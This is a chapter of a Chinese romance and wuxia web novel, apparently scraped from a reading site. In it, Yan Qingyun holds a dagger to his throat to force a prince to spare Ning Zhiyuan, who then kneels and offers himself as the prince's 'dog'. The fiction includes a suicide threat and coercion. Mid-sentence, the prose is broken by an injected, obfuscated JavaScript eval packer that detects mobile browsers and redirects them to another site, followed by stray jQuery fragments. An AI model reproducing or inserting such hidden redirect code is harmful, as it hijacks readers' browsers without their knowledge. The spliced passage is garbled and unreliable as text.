88.刺杀(五)

作品:《被小叔子强取豪夺后

    晏青云从怀里摸出早准备好的匕首,横在颈边。


    匕首闪着蓝幽幽的光,照亮晏青云黑漆漆的眼。


    他的眼睛里并没有激动的情绪,仿佛对此习以为常。


    他也没有感到特别痛苦,或许在谢予臻真正追来之前,眼前的局面曾在梦里出现过千千万万回,既然早有预想,那便能平静面对。


    只是心里有些空洞,没着没落的,一直以来的努力成了笑话一场,他感到自己的身躯正在浓雾里变薄,风一吹就透了。


    旁边射来一道灼热的注视,那是宁知远的目光。


    他仍然没有看宁知远一眼。


    他固执得像一块又臭又硬的石头。


    仰起头,伸出雪白的颈子,匕首紧紧贴住咽喉。


    “你在威胁我?”谢予臻眯起眼睛。


    “不,不是威胁,是恳求。”


    晏青云直挺挺跪着,让谢予臻看清楚他的决心,让谢予臻看清楚宁知远对于他来说是多么多么的重要。


    在宁知远昏迷不醒的时光里,他曾以为他会被绝望杀死。


    他求遍满天神佛,求求他们救一救宁知远,只要宁知远能好起来让他怎么样都行。


    他恨谢予臻,恨不得把他千刀万剐,却偏偏还要对他笑,依偎在他的怀里,说着言不由衷的话,演着两情相悦的戏。


    他只有在暗夜中能卸下面具展露片刻的真实,在谢予臻沉沉睡去之后,悄悄侧过身体背对着仇人,用手塞住嘴巴,无声的流泪。


    后来,为了防止第二天哭肿眼睛被人看出端倪,便是连这种无声的流泪都没了。


    他小心地配着忘忧散,寄希望于有朝一日能毒死谢予臻,同时又比任何人都清楚在那一天到来之前,自己或许早已死去。


    他预料到自己会死在某一个再也熬不住的黎明前最黑暗的时刻。


    直到宁知远醒来。


    没错,宁知远竟然醒来了。


    他重新开始呼吸。


    他重新看见天是蓝的,云是白的,阳光是刺眼灿烂的,风是柔和的,人们的笑是和蔼可亲的。


    宁知远醒来后,天一下子就亮了,再也没有雨天或者大雪,每一天都是大晴天,每一天他都被太阳晒得四肢百骸快化了,陷在一大片柔柔的温暖里面,对谢予臻的仇恨就像阳光下的灰尘一般,随风四散,无影无踪无处可寻。


    他快活得快要疯掉,所有的理智和体面离家出走,剩下不可置信的狂喜和难以言说的甜蜜。


    甚至在回到家乡与父亲重聚后,他都产生了如果能一辈子这样幸福下去,那么之前两辈子的痛苦磨难也不算什么的想法。


    所以宁知远怎么能死呢?


    “如果宁大哥死了,我也随他去。”晏青云平淡地叙述着想了无数次的话,“宁大哥参战前的那个大雨夜里,我就对你说过这个话,那时你不信,现在你可以试试。”


    谢予臻的回答是抬起右手发出一掌,雄浑的掌力准确无误击中晏青云手腕。


    晏青云踉跄着往后退了几步,嘴角溢出一丝鲜血,手一松,匕首掉在地上,发出清脆的一声响。


    晏青云一点也不意外,浑不在意地抹去嘴角的血迹,蹲下来捡起匕首,再次横在颈边,淡淡地望着谢予臻。


    “你现在当然可以阻止我。”


    晏青云用平静的语气说。


    “你阻止得了我一时,阻不了我一世,只要你看不住,我早晚是要死的,没有宁大哥,我绝不独活。”


    晏青云终于转头望向宁知远。


    他看见宁知远趴在地上咳嗽,胸前一片暗黑色的血迹,他的脸上、衣服上沾满了血,看起来很可怜很不堪,唯独他的眼睛还是那么亮,亮得就像当年他们一起坐在小酒馆屋顶上喝酒时,宁知远指给他看的启明星。


    宁大哥,看来你我今生注定无缘,那便来世再会吧。


    一滴泪从晏青云眼眶里流出,顺着脸颊滑落,流至下颌。


    他并不想流泪,他希望在生命最后时刻留给宁知远的是一张笑脸。


    可他忍不住。


    谢予臻还在,他这种时候哭起来真是太丢人太没出息了。


    他用力擦了擦脸上的泪。


    “谢予臻,”晏青云握着匕首说,“我遇上你,真是倒了八辈子血霉,希望下一世再也不要认识你。”


    说完这句话,晏青云闭上眼睛,拿着匕首的手狠狠一压。


    “等等!”


    晏青云睁开眼。


    一抹淡淡的红出现在晏青云颈子上,血珠汇聚成细细的红线,凝而不掉。


    谢予臻喊得再晚一点,晏青云的刀就会割断喉管。


    显然他不是说说而已,是玩真的。


    谢予臻看出了这一点,竟然有些害怕,怕晏青云真的死在面前。


    他一边觉得无比的愤怒和委屈,一边又藏着一抹小心翼翼。


    他有些心惊胆战,有些恐慌,屏住呼吸,生怕吓到晏青云,放缓了语气,主动递台阶:


    “你愿意用什么来换宁知远的命?”


    晏青云放下匕首,认真回答:“随你怎么样都行。”


    “好,你可别忘了这句话,成交。”


    冯衡此时带着五花大绑的平等王走到谢予臻旁边,其他侍卫也聚集在谢予臻周围,把谢予臻保护起来。


    谢予臻吩咐手下:“带晏公子回府,以后他就是你们的男王妃,不得对他无礼。”


    两个侍卫奔向晏青云,一左一右把他夹住,防止他逃跑。


    冯衡走到宁知远身边,回头问谢予臻:“宁总管怎么处理?”


    谢予臻眼中杀气弥漫。


    晏青云立刻喊了起来:“你答应过我放了他的!”


    “行,”谢予臻冷笑说,“远哥,你走吧,我给你三天时间,三天内我不追你,以你的本事,三天足够你逃到天涯海角。”


    宁知远一直在打坐调息,乱窜的真气针一般刺痛五脏六腑,疼得脸上全是冷汗,说不出话来,紧紧咬住牙关,浑身发颤。


    他脸色灰白,两腮颤抖,从下往上瞟了一眼谢予臻,眼中射出强烈的情绪,刺向谢予臻。


    从他的眼神来看,他显然恨毒了谢予臻,若他此时扑上来杀谢予臻,大家也不会感到意外,结果出乎所有人意料,他跪了下去。


    弯下腰,塌了挺直的脊梁,双手伸向前,给谢予臻行了个大礼。


    “求王爷带


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261712|132451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我回府。”


    “宁大哥!”晏青云惊讶地喊出来。


    宁知远去瞧他。


    两个人隔着浓浓的迷雾,隔着虎视眈眈的侍卫,隔着谢予臻,对望了一眼。


    晏青云的心都快碎了,颤动着嘴唇,终究没有再说出一个字来。


    宁知远看了他一下就收回目光,对着谢予臻,重重磕了一个头。


    谢予臻观察着两人的眼神交流,感觉心脏像被一只无形的大手揪住,拧着劲儿疼,他咽下嫉妒的苦涩与悲愤,没有发作出来。


    “带你回府干什么?”


    “玩弄,折磨,使用,我还没死,那我就还能替你杀人,”宁知远的眼睛反常的亮,“像你以前所做的那样。”


    谢予臻摇头:“你已经没有价值了,我并不缺为我杀人的手下。”


    “你缺一条狗。”宁知远低下头颅,摆出一副全然臣服的姿势。


    “你是狗吗?”


    “我是。”


    “我看你可不太像狗。”


    “我能学。”


    “你真要当我的狗?”


    “真的,我能当你最好用的一条狗。”


    谢予臻哈哈大笑。


    “好玩好玩!我从来没玩过这么好玩的游戏,哥哥,这可比小时候的捉迷藏好玩多了,你说是不是?”


    宁知远听他提到捉迷藏,吹了一声口哨。


    小时候,在宁昨非没和老侯爷闹掰,他们兄弟俩感情还很好的时候,谢予臻玩捉迷藏找不到宁知远时,谢予臻会主动吹口哨,口哨声代表了认输,宁知远听见口哨就从躲藏的地方走出来。


    如今口哨声从宁知远口中发出,尖锐的声音,破开迷雾,撕裂时空,浮现出童年两小无猜的身影,可惜冷酷无情的时间却是怎么也不肯回头的,长大后的兄弟俩,一个站着一个跪着,一个是高高在上的王爷,一个是一条好用的狗。


    迷雾重新涌上,遮住兄弟俩人。


    “你把我带回去,放在眼皮子底下,反而好控制,你今天放了我,以后还得时时刻刻防备我。”宁知远继续劝说,“除非你担心我在府里会对你不利,你不敢赌这一局。”


    “有何不敢?”谢予臻兴致大增,“从小到大每次玩游戏都是你赢,这回我要让你看看,这一局我是怎么赢的。”


    谢予臻吩咐手下:“打扫战场,把人全部带回去。”


    侍卫们迅速动作起来。


    死尸被收集,就地焚烧,带走骨灰,伤者互相简单包扎止血,谢予臻的轿子加上新娘轿子一共三顶轿子残骸被移到路两边,留出空地方便行走。


    黑烟从尸体堆上冒出,袅袅升上天空。


    死了的人好似上了天堂。


    晏青云望了望黑烟,一言不发。


    雾气随时间流逝渐渐消散,可惜散了后仍是阴天。


    天空呈现出令人绝望的灰白色,云层低垂,缓缓向人头顶聚拢,准备编织一场大雨。


    灰暗的天幕下,官道向远方蜿蜒,野草被践踏得不成样子,到处是暗黑的血,尸体焚烧的气味和血腥气混在一起,构成一股令人作呕的味道。


    晏青云骑在马上,踏着干涸的血迹,再一次走向镇安侯府。